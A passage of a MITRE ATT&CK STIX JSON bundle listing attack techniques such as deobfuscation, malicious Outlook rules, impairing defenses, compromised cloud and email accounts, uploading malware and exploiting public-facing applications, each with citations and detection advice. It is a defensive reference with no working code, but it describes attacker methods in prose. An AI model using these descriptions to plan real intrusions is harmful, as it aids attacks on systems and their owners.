                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Script: Script Execution",
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Access"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1140",
                    "external_id": "T1140"
                },
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                },
                {
                    "source_name": "Sentinel One Tainted Love 2023",
                    "description": "Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen. (2023, March 23). Operation Tainted Love | Chinese APTs Target Telcos in New Attacks. Retrieved March 18, 2025.",
                    "url": "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/"
                },
                {
                    "source_name": "Malwarebytes Targeted Attack against Saudi Arabia",
                    "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.",
                    "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
                },
                {
                    "source_name": "Carbon Black Obfuscation Sept 2016",
                    "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
                    "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:24.400Z",
            "name": "Deobfuscate/Decode Files or Information",
            "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)(Citation: Sentinel One Tainted Love 2023)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Red Canary",
                "Crist\u00f3bal Mart\u00ednez Mart\u00edn"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi",
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Script: Script Execution",
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
            "created": "2019-11-07T20:00:25.560Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/005",
                    "external_id": "T1137.005"
                },
                {
                    "source_name": "Pfammatter - Hidden Inbox Rules",
                    "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
                    "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
                },
                {
                    "source_name": "SilentBreak Outlook Rules",
                    "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.",
                    "url": "https://silentbreaksecurity.com/malicious-outlook-rules/"
                },
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:55:47.125Z",
            "name": "Outlook Rules",
            "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Application Log: Application Log Content",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529",
            "created": "2020-02-21T20:22:13.470Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562",
                    "external_id": "T1562"
                },
                {
                    "source_name": "Google Cloud Mandiant UNC3886 2024",
                    "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
                },
                {
                    "source_name": "Emotet shutdown",
                    "description": "The DFIR Report. (2022, November 8). Emotet Strikes Again \u2013 LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.",
                    "url": "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:24.596Z",
            "name": "Impair Defenses",
            "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)\n\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jamie Williams (U \u03c9 U), PANW Unit 42",
                "Liran Ravich, CardinalOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools.  Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "Network Devices",
                "Identity Provider",
                "Office Suite",
                "ESXi"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Cloud Service: Cloud Service Disable",
                "Firewall: Firewall Rule Modification",
                "Command: Command Execution",
                "Script: Script Execution",
                "Process: Process Modification",
                "Windows Registry: Windows Registry Key Deletion",
                "Process: Process Termination",
                "Service: Service Metadata",
                "Process: Process Metadata",
                "Cloud Service: Cloud Service Modification",
                "User Account: User Account Modification",
                "File: File Deletion",
                "Sensor Health: Host Status",
                "Process: OS API Execution",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Driver: Driver Load",
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            "id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a",
            "created": "2022-05-27T14:30:01.904Z",
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                    "url": "https://attack.mitre.org/techniques/T1586/003",
                    "external_id": "T1586.003"
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                {
                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
                },
                {
                    "source_name": "Awake Security C2 Cloud",
                    "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
                },
                {
                    "source_name": "Netcraft SendGrid 2024",
                    "description": "Graham Edgecombe. (2024, February 7). Phishception \u2013 SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.",
                    "url": "https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/"
                },
                {
                    "source_name": "MSTIC Nobelium Oct 2021",
                    "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"
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            "modified": "2025-04-15T22:01:54.640Z",
            "name": "Cloud Accounts",
            "description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)",
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                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
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                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
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            "name": "Email Accounts",
            "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.",
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                    "url": "https://attack.mitre.org/techniques/T1098/007",
                    "external_id": "T1098.007"
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                    "source_name": "Linux Usermod",
                    "description": "Man7. (n.d.). Usermod. Retrieved August 5, 2024.",
                    "url": "https://www.man7.org/linux/man-pages/man8/usermod.8.html"
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                {
                    "source_name": "Microsoft Net Group",
                    "description": "Microsoft. (2016, August 31). Net group. Retrieved August 5, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754051(v=ws.11)"
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                    "source_name": "Microsoft Net Localgroup",
                    "description": "Microsoft. (2016, August 31). Net Localgroup. Retrieved August 5, 2024.",
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                    "source_name": "Microsoft RDP Logons",
                    "description": "Microsoft. (2017, April 9). Allow log on through Remote Desktop Services. Retrieved August 5, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/allow-log-on-through-remote-desktop-services"
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                {
                    "source_name": "RootDSE AD Detection 2022",
                    "description": "Scarred Monk. (2022, May 6). Real-time detection scenarios in Active Directory environments. Retrieved August 5, 2024.",
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                    "phase_name": "persistence"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
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            "created": "2021-03-17T20:09:13.222Z",
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                    "url": "https://attack.mitre.org/techniques/T1608/001",
                    "external_id": "T1608.001"
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                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
                },
                {
                    "source_name": "Talos IPFS 2022",
                    "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.",
                    "url": "https://blog.talosintelligence.com/ipfs-abuse/"
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            "modified": "2025-04-15T23:17:57.194Z",
            "name": "Upload Malware",
            "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1195",
                    "external_id": "T1195"
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                {
                    "source_name": "Avast CCleaner3 2018",
                    "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
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                    "source_name": "Command Five SK 2011",
                    "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf"
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                    "source_name": "IBM Storwize",
                    "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.",
                    "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E"
                },
                {
                    "source_name": "Symantec Elderwood Sept 2012",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"
                },
                {
                    "source_name": "Schneider Electric USB Malware",
                    "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.",
                    "url": "https://www.se.com/us/en/download/document/SESN-2018-236-01/"
                },
                {
                    "source_name": "Trendmicro NPM Compromise",
                    "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
                },
                {
                    "source_name": "Microsoft Dofoil 2018",
                    "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"
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                {
                    "source_name": "CWE top 25",
                    "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.",
                    "url": "https://cwe.mitre.org/top25/index.html"
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                {
                    "source_name": "CIS Multiple SMB Vulnerabilities",
                    "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
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                {
                    "source_name": "Ars Technica VMWare Code Execution Vulnerability 2021",
                    "description": "Dan Goodin . (2021, February 25). Code-execution flaw in VMware has a severity rating of 9.8 out of 10. Retrieved April 8, 2025.",
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                {
                    "source_name": "Recorded Future ESXiArgs Ransomware 2023",
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                {
                    "source_name": "Wired Russia Cyberwar",
                    "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.",
                    "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"
                },
                {
                    "source_name": "Mandiant Fortinet Zero Day",
                    "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "NVD CVE-2016-6662",
                    "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662"
                },
                {
                    "source_name": "NVD CVE-2014-7169",
                    "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "OWASP Top 10",
                    "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.",
                    "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"
                },
                {
                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:25.266Z",
            "name": "Exploit Public-Facing Application",
            "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers.(Citation: Recorded Future ESXiArgs Ransomware 2023)(Citation: Ars Technica VMWare Code Execution Vulnerability 2021) Depending on the flaw being exploited, this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Yossi Weizman, Azure Defender Research Team",
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Containers",
                "IaaS",
                "Linux",
                "Network Devices",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "2.7",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a",
            "created": "2020-02-11T19:12:46.830Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1558",
                    "external_id": "T1558"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
                },
                {
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
                },
                {
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                },
                {
                    "source_name": "Stealthbits Detect PtT 2019",
                    "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.",
                    "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"
                },
                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
                },
                {
                    "source_name": "ADSecurity Detecting Forged Tickets",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?p=1515"
                },
                {
                    "source_name": "Microsoft Kerberos Golden Ticket",
                    "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.",
                    "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
                },
                {
                    "source_name": "Microsoft Klist",
                    "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.",
